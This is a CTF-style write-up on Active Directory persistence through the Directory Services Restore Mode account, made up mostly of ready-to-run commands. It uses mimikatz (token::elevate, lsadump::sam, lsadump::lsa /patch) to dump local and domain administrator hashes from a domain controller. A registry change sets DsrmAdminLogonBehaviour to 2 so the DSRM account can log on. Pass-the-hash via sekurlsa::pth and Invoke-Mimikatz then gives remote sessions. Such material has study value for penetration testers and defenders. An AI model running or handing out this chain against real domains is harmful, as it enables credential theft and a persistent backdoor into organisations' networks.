CTF-Writeups/Active Directory/Domain Persistance/4-DSRM.md

# Domain Persistance - DSRM

Directory Service Restore Mode (DSRM) , every `Local Administrator` on Domain Controller `DC` is named `Administrator` account , this Administrator is called DSRM account and DSRM password is set when a DC is promoted.

So it is possible to perfrom `Pass The Hash` attack after extracting NTLM hash of Local Administrator account , local administrator password is just a backup password if something goes wrong ,usually local administrator isn't used by DC

## Using mimikatz.exe
```
privilege:debug (to see privileges)
token::elevate  (to become NT AUTHORITY\SYSTEM)
```

### Extracting Local Administrator password hash
```
lsadump::sam
```

### Extracting Domain Administrator password hash

```
lsadump::lsa /patch
```

By default DSRM logon is disbaled , value is set to 0 , set the value to 2

```
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbos
```

if this entry doesn't exist , we can create it 

```
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
```

Then 

```
sekurlsa::pth /user:Administrator /domain:dominname /ntlm:ntlm_hash_of_local_admin
```

## Using mimikatz powershell

This is for local administrator

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam""' -Computername computername 
```

This is for domain admin

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername computername
```

now performing pass the hash

```
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:domainname /user:Administrator /ntlm:local_admin_hash /run:powershell.exe"'
```


```
Enter-PSsession -Computername computer
```